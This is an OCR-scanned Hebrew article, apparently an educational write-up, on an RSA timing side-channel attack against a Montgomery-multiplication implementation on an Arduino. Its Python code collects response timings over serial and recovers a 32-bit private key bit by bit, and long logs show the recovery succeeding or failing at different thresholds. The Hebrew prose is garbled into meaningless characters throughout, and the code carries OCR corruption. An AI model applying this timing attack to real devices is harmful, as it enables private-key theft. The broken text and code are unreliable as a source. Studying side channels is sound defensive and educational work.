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https://github.com/avifeder/SideChannelAttack/tree/main/Part3
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https://en.wikipedia.org/wiki/Modular_arithmetic
https://en.wikipedia.org/wiki/Montgomery_modular_multiplication
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https://github.com/avifeder/SideChannelAttack/tree/main/Part3/arduino
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https://en.wikipedia.org/wiki/Montgomery_modular_multiplication
https://en.wikipedia.org/wiki/Modular_exponentiation
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def write(data):
while not arduino.writable():
pass
arduino.write(data.encode())

def read():
while not ardulno.readable():
pass
data = ""
while data == "":
data = arduino.readline().decode()
return data
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https://pyserial.readthedocs.io/en/latest/pyserial.html
https://github.com/avifeder/SideChannelAttack/tree/main/Part3/findTheKey
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3839256683
= 548447537

™ =
n

with open('timeData.txt"', 'w') as fl:
fl.writelines("N,E\n")
fl.writelines(str(n) + "," + str(e) + "\n")
fl.writelines("message,signature,duration\n")
for 1 in range(l, 9000):
m = random.randrange(1l, n)
t1 = datetime.now()
write(longToBytes(int(m)))
c2 = stringToInt(read())
t2 = int((datetime.now() - t1).total_seconds() = 1000000)
fl.writelines(str(m) + "," + str(c2) + "," + str(t2) + "\n")
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.timeData.txt

2 NRY'Y NI 9000 Dy yal 9102 7271 3o

1 N,E

2 3839256683,548447537

3 message,signature,duration

4 1825426693, 481823779 ,2280893

5 2110686704,3072422398, 2497166
: 1334428208,1599528745, 2093178
7 1265195384, 2942524450, 2186568
8 2409436678,1375084233, 2093802
9 401252935 ,2464631800,2186973
10 1695206886,2565208005, 2690551
11 2933055133,329494375,2593669
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NNONN 1NN XXN'l Yalpyn X 'y n7v xan 09" 7ON NX YNY! 178N D2ININ 7D .ANIX DINNY
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https://github.com/avifeder/SideChannelAttack/tree/main/Part3/data
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|nT2 ANN9N NDNY ' K7W NIYVTINT DY AXARE ANN9N NIDNY 'Y DIWTINY DNR NXIap)
Repeated Dy wnmnw RSA DNMIAT7X '97 INXY2 DINN' NIY9AN V9RO D NIXIY 2N .(Nn'Mnnn

.Mongomery Product nvi Squaring

227 7w nooin ny X Arduino-n NI7A N7YNY7 'R D PI'TA AR 17 ('oxn) oninn TIpn 27
N¥IAP NT'RY YT NAMNN DRXIN OY Th'AY 02D .X7 IXN NNN9N NNY'N DXRN 7n0nv red nwa qon

NYTINN DX A1OY

def rsa_sim(m, d, n, k, r, 3):
This function simulate a encrypt/decrypt message m by rsa protocol
:param m: The message we want to encrypt/decrypt
:param d: The key
:param n: The modulo
:param k: The k for montgomery product
:param r: The r for montgomery product
:param j: The bit we want to test if we have reduce or not
:return: The encrypt/decrypt of message m and True/False if we have reduce or not
(m=*r)%n
Xx_=(@*r)%n
new_d = d[:j]
new_d += "1°'
red = False
for i in range(®, len(new_d)):
X_, _ = MontgomeryProduct(x_, x_, n, k, r)
if new_d[i] == '1':
x_, red = MontgomeryProduct(m_, x_, n, k, r)
X, _ = MontgomeryProduct(x_, 1, n, k, r)
return x, red

m

TV IRXNY NNONN 7Y WY DXV DTV .I'Y7Y TIAY] I'YDYW NN9NN 1NN "DaIp" X DITRN YIana

.11N20NVY '9) 1 XIN KAN V'ANY NNINN N90INA I'YDY

DXN NNTN2 N7APNI rsa_sim N'¥R197 NNZIYW ,NARAN NN AYTIN OYS 70 N72pn nRaN N'Y190

N7 INDNN9N nn'pnn
.NNN9N NN X7 DX nored-1 NNN9N NN DX red S2NIXIA MW7 NIYTINN DX NANONA X' 0T '97

T2 D'RNY '9)
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def split_messages(d, n, k, r, bit, datalList):
This function split the messages to two groups. reduce in bit(bit) or not
:param d: The key
:param n: The modulo
:param k: The k for montgomery product
:param r: The r for montgomery product
:param bit: The bit we want to test if we have reduce or not
:param datalist: The messages
:return: two groups. reduce in bit(bit) or not
red = []
nored = []
for m in datalist:
c, bucket = rsa_sim(m[@], d, n, k, r, bit)
if bucket:
red.append(m)
else:
nored.append(m)
return red, nored

main-nn NI X' .Y INK MY 7Y 1Y) D71 127W DAIWNN Y190 KD NNAN D190

V192 NNONN DX KI¥NYINARAN 72V 11aY7 nTPoNI

139 def RSATimingAttack(n, data, ratio):

140 e

141 This function analysis the time that took to encrypt the messages and find the private key
142 :param n: The modulo

143 :param data: the messages with the time

144 :param ratio: the delta

145 e

146 (r, k) = nPrime(n)

147 private_key = '1'

148 bit = 1

149 finished = False

158 while not finished and bit < 32:

151 (red, nored) = split_messages(private_key, n, k, r, bit, data)
152 red_avg = calcAvg([m[2] for m in red])

153 nored_avg = calcAvg([m[2] for m in nored])

154 print("Difference of averages:", abs(red_avg - nored_avg))
155

156 if abs(red_avg - nored_avg) > ratio:

157 private_key += '1'

158 print("The next bit is probably 1.")

159 else:

160 private_key += '0'

161 print("The next bit is probably 8.")

162 print("The private key until now is: ", private_key)

163 print()

164

165 if testKey(data, private_key, n, k, r):

166 print("We did it! The private key is: \t", private_key)
167 finished = True

168

169 bit += 1

170

171 if not finished:

172 print("can't find the private key...")
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NIN N¥YNMY TV NTAIWY Ax?177 0101 150 - 170 nNiw2a pn INXY L1272y 12D D'01 Nnd 1910Y

(T2 X7 Inwny nyT? "1 - 012 32-7 YW TV IX) '0190 NNONN
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X170 DR
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NN NNAaIT

MAXN N2 7Y 2192 1197 1112 NaRnN 7 Y TIEn DR 150000 Nt ratio-n 117w N¥INN NNAMA

:NOPNN7 DD

1 N,E
2 3839256683,548447537
message,signature,duration

4 1825426693, 481823779,2280893
5 2110686704,3072422398, 2497166
: 1334428208,1599528745,2093178
7 1265195384, 2942524450, 2186568
5 2409436678,1375084233, 2093802
. 401252935,2464631800,2186973
1@ 1695206886, 2565208005, 2690551
11 2933055133, 329494375,2593669

YN Y2 RIN DX NAT) U9PON DX YN DD NIy TIN 9000 7¢ nn'nn 1M1 71 1aRNnY 1IN
NN NNIY M 771 (NpT

The first hit is 1

Difference of averages: 187986.2268589628
The next bit is probably 1.
The private key until now is: 11

Difference of averages: 173582.780728376%94
The next bit is probably 1.
The private key until now is: 111

Difference of averages: 137093.0452079922
The next bit is probably 0.
The private key until now is: 1110

‘2271 Q1027w Ty

Difference of averages: 206346.6489106221
The next bit is probably 1.
The private key until now is: 11100100110101001000010001010001

We did it! The private key is: 11100100110101001000010001010001

11727 NN 0]

D'IATN YXINN |2 YIONN NIYRIN NIV NNIY YITY 117 0'9 T 970N ,27W 701w NIKYT7 N1
ratio 7WN '97 Yap1 NTw 11 .1 IR 0 KIN 02N DXN IRAN NIYA DN INKRT7E NIXIARD MY 11y
|21 (ratio-n 21T2) N7 X7 NINIAEZN |2 DT YXINN WIS OXRND 1701 (150000 RID 1N7@ N1jpnawv)

.0 XIn V12N P71 (ratio-N |VP) NAT XINW IN 1 NI VAN DX
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.ND TY RXN RINY NNONN NKX 0'9T' U9'I70N NXKAN NIYA

NNZ170 NN DXV R'ND P71 '00190 NN9NAN DX 1IXYAY NNN'T testKey n'y¥j71190 ,0'10n 27w ,91017

:NNO5NNI N71Y9N DI'0 7V NV TINN 17 NOSTINI

We did it! The private key is: 11100100110101001000010001010001

ratio )yn nyap

N7 D'IATH YI5N DXRN .UI1|7'7 nin 7y DAt NINA ' N V970N NXR WNW'Y ratio 1yvn Nyap

. DAIoON N71V9 NINT K7 IX

[AT ,AN'MNN VIXTA T ,N2I5NN 7W N¥MN AT D'AYNNAY D'0NNN DAIY'N '97 YA ratio N
(MPnn 2y TIkn y'ownw Arduino-n NI7A win'yn DA 17¥X) NDWNN 7¢ NNRN ,NNN9N Vi

LRXINN DX 727271 TTI2 W 7V DIMNY 117 npi7 (AT nnd2a 17N Tt ,ni? [N viNa LI

TIN NXN1Y TV INKX ratio 70y DY QY9 751 ,0'Ay9 1901 Tign NX yIn? TWOK DT DIPN1Y |2md
NX™M 7Y NPT 5 7Y 121 9102 7aK T NXP NPT AT DINIXK .('019N NNONN DK K¥NIWD) 130 VN

JNIYNWN X7 DT NPT '¥N DN

-12'¥1,72 DTIR 0T DX WY 2 .[1230 1WA IR 0NN 2'0n7 NI0171 DRINIA IANAY X'N D901 T

:NNONN NX'YNA 7WI'N K'Y [N ,NDIWNAN DX AW YN 0 1 DX ratio

can't find the private key...

.17V ratio YN NN 0NN 7'0N%7 N0111 117 109TINW D'IATN 2V 7DN01,7aK
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0'21N1 0DV DV NIY AXIApI MNI' 0'NIaa 0Dy

The first bit is 1

Difference of averages: 187986.2268589628
The next bit is probably 1.
The private key until now is: 11
Difference of averages: 173582.78072837694
The next bit is probably 1.
The private key until now is: 111
Difference of averages: 137093.0452079922
The next bit is probably 1.
The private key until now is: 1111
Difference of averages: 147840.38634238113
The next bit is probably 1.
The private key until now is: 11111
Difference of averages: 133634.03459492
The next bit is probably 1.
The private key until now is: 111111
Difference of averages: 141838.72920653317
The next bit is probably 1.

The private key until now is: 1111111

Difference of averages: 127732.18294484867
The next bit is probably 1.
The private key until now is: 11111111
Difference of averages: 130305.78003233159
The next bit is probably 1.
The private key until now is: 111111111
Difference of averages: 137619.8641706151
The next bit is probably 1.
The private key until now is: 1111111111
Difference of averages: 139925.38081441494
The next bit is probably 1.
The private key until now is: 11111111111
Difference of averages: 144675.34778241627
The next bit is probably 1.
The private key until now is: 111111111111
Difference of averages: 145315.7908712808127
The next bit is probably 1.
The private key until now is: 1111111111111
Difference of averages: 137270.6971478518
The next bit is probably 1.
The private key until now is: 11111111111111
Difference of averages: 136953.3723948421

The next bit is probably 1.
The private key until now is: 111111111111111
Difference of averages: 140107.39883236773

The next bit is probably 1.
The private key until now is: 1111111111111111
Difference of averages: 131728.17272%960348

The next bit is probably 1.
The private key until now is: 11111111111111111
Difference of averages: 140500.97501439275

The next bit is probably 1.
The private key until now is: 111111111111111111
Difference of averages: 135371.55694211507

The next bit is probably 1.

The private key until now is: 1111111111111111111

DY NNX NX1{7 007 7Y NIXIAP Y NINT? 0N

.DN" INYO'N Y] ratio 1WA DX NI

Difference of averages: 142729.

The next bit is probably 1.
The private key until now is:

Difference of averages: 132948.

The next bit is probably 1.
The private key until now is:

Difference of averages: 134367.

The next bit is probably 1.
The private key until now is:

Difference of averages: 145426.

The next bit is probably 1.
The private key until now is:

Difference of averages: 131342.

The next bit is probably 1.
The private key until now is:

Difference of averages: 136155.

The next bit is probably 1.
The private key until now is:

Difference of averages: 130312.

The next bit is probably 1.
The private key until now is:

Difference of averages: 132867.

The next bit is probably 1.
The private key until now is:

Difference of averages: 126829.

The next bit is probably 1.
The private key until now is:

Difference of averages: 138589.

The next bit is probably 1.
The private key until now is:

Difference of averages: 147822.

The next bit is probably 1.
The private key until now is:

Difference of averages: 135589.

The next bit is probably 1.
The private key until now is:

97881431598

11111111111111111111

27755187592

111111111111111111111

15433216142

1111111111111111111111

18276158022

11111111111111111111111

06803474537

111111111111111111111111

43027170328

1111111111111111111111111

2138843555

11111111111111111111111111

6554789669

11111111111111211131111111111

95983718289

11111111111111111311111111111

06965380115

1111111111111121113111211111111

24046116136

11111111111111711171111111111111

44690011628

1111111111111111111111111111111

Difference of averages: 122560.57186330017

The next bit is probably 1.

The private key until now is:

111111131111111211111111111111111

can't find the private kev...

V9"PON - ratio = 0 DVW NIX17 [N' DITXA)

(7wm
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2w nxIap1 130000 NITX2 DNW DYAT 7W ANIF NDIND AXIAR 17 W'Y RN LI09TINY 0'INTA 0 OX

.140000 7wnY ,y¥nKX21 INWO'X NI'NYT ratio NX yamn |D'7 .15000 NiTNa DDA NI DT

7901 NIN DAY NXNIAIY 09"MPON NX YN

def main():
difference = 140000
RSATimingAttack() * if not finished

findTheKey
TITETTEAT WAL 13 plubawLy w.

The private key until now is: 11100100110110100000101100000010

can't find the private key...

D'INT7 TN 27 .XX¥N1 X7 '0190 NNONNY D 2V Y TINN NXI ratio YN DX NIKYY N1 DITRA

AN ATN NN AW DNIX NM7 N0

117 W' DINIRY NIKY [N .17 npI7na 7'o0n NR"T K7W IR Q1Y 109 TINY DIATA NIX [N DX
TR N'D D' NI DIATY 7Y AxIapn R ,130000 NITR DN DIAT 27U AN DdIND NI

.15000 11TR2 X'71 160000

MYY? DINTA DX 2707 NI [2md 150000 Dyon ,V¥NXA INWO'R AW NIFNY ratio NXK Ya 7

.NT'727TNoNYT [N 72N (knee 7wn?7) ITRON NTYW DNMIATR DY DN YX¥ARD DX KIXNZI NIXIAR

:ratio YN WINMA R7TY 1NI17) 10190 NNON NX 72721 1YW UDMPON NN Y]

def main():
[difference = 150000 |
RSATimingAttack()

findTheKey
The private key until now 1s: 11100100110101001000010001010001

We did it! The private key is: 11100100110101001000010001010001

I

NIX UN17 NN7¥N .X¥N1 RINY 12 2V DYTINNI '019N NNONN NN ratio VN NX Iy [N DITXA

.ratioyn
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Avifeder99@gmail.com

Danielyochanan91l@gmail.com
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https://www.linkedin.com/in/avifeder/
mailto:Avifeder99@gmail.com
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NN

https://www.digitalwhisper.co.il/files/Zines/0x4F/DW79-2-SideChannel.pdf

https://github.com/avifeder/SideChannelAttack/tree/main/Part3

https://en.wikipedia.org/wiki/Modular arithmetic

https://en.wikipedia.org/wiki/Montgomery modular multiplication

https://en.wikipedia.org/wiki/Exponentiation by squaring

https://en.wikipedia.org/wiki/Modular exponentiation

https://pyserial.readthedocs.io/en/latest/pyserial.html

https://www.cs.sjsu.edu/faculty/stamp/students/article.html

http://www.mat.ucm.es/congresos/mweek/Xll Modelling Week/Informes/Report5.pdf

https://slideplayer.com/slide/4976535/

https://en.wikipedia.org/wiki/Side-channel attack
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